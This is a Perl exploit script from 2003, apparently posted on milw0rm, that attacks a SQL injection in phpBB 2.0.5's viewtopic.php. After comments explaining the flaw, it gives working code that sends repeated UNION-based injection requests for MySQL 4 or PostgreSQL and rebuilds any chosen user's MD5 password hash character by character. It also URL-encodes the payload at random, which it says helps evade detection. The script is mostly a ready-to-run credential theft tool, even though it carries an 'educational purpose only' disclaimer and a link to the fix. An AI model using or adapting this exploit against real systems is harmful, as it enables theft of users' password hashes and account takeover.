phpBB 2.0.5 - SQL Injection Password Disclosure

#!/usr/bin/perl -w
#
#
# phpBB password disclosure vuln.
# - rick patel
# 
# There is a sql injection vuln which exists in /viewtopic.php file. The variable is $topic_id
# which gets passed directly to sql server in query. Attacker could pass a special sql string which
# can used to see md5 password hash for any user (!) for phpBB. This pass can be later used with
# autologin or cracked using john. 
#
# Details: 
#
# this is checking done for $topic_id in viewtopic.php:
#
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
#
# ok... no else statement at end :)
# now if GET[view]=newest and GET[sid] is set, this query gets executed:
#
# $sql = "SELECT p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
#
# $topic_id gets passed directy to query. So how can we use this to do something important? Well
# I decided to use union and create a second query will get us something useful. There were couple of 
# problems i ran into. first, phpBB only cares about the first row returned. second, the select for first
# query is p.post_id which is int, so int becomes the type returned for any other query in union. third,
# there is rest of junk at end " AND p.post_time >= ..." We tell mysql to ignore that by placing /* at end
# of our injected query. So what query can we make that returns only int? 
# this one => select ord(substring(user_password,$index,1)) from phpbb_users where user_id = $uid
# Then all we have to do is query 32 times which $index from 1-32 and we get ord value of all chars of
# md5 hash password. 
#
# I have only tested this with mysql 4 and pgsql . Mysql 3.x does not support unions so you would have to tweak
# the query to do anything useful. 
# 
# This script is for educational purpose only. Please dont use it to do anything else. 
#
# To Fix this bug : http://www.phpbb.com/phpBB/viewtopic.php?t=112052

use IO::Socket;

$remote = shift || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;

$dbtype = 'mysql4'; # mysql4 or pgsql 


print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";

$p = "";

for($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@\n";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) .
 "&view=newest" . " HTTP/1.0\n\n";

print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1\n"; # replace this for pgsql or remove it
print $socket "Host: $remote\n\n";

while ($answer = <$socket>)
{
if ($answer =~ /Location:.*\x23(\d+)/) # Matches the Location: viewtopic.php?p=<num>#<num>
{
$p .= chr ($1);
}
}

close($socket);
}

print "\nMD5 Hash for uid $uid is $p\n";

# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = "";
for($i=0; $i<length($str); $i++)
{
$c = substr($str,$i,1);
$j = rand length($str) * 1000;

if (int($j) % 2 || $c eq ' ')
{
$ret .= "%" . sprintf("%x",ord($c));
}
else
{
$ret .= $c;
}
}
return $ret;
}

sub make_dbsql
{
if ($dbtype eq 'mysql4')
{
return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql')
{
return "; 
select ascii(substring(user_password from $index for 1)) as 
post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
}
else 
{
return "";
}
}



# milw0rm.com [2003-06-20]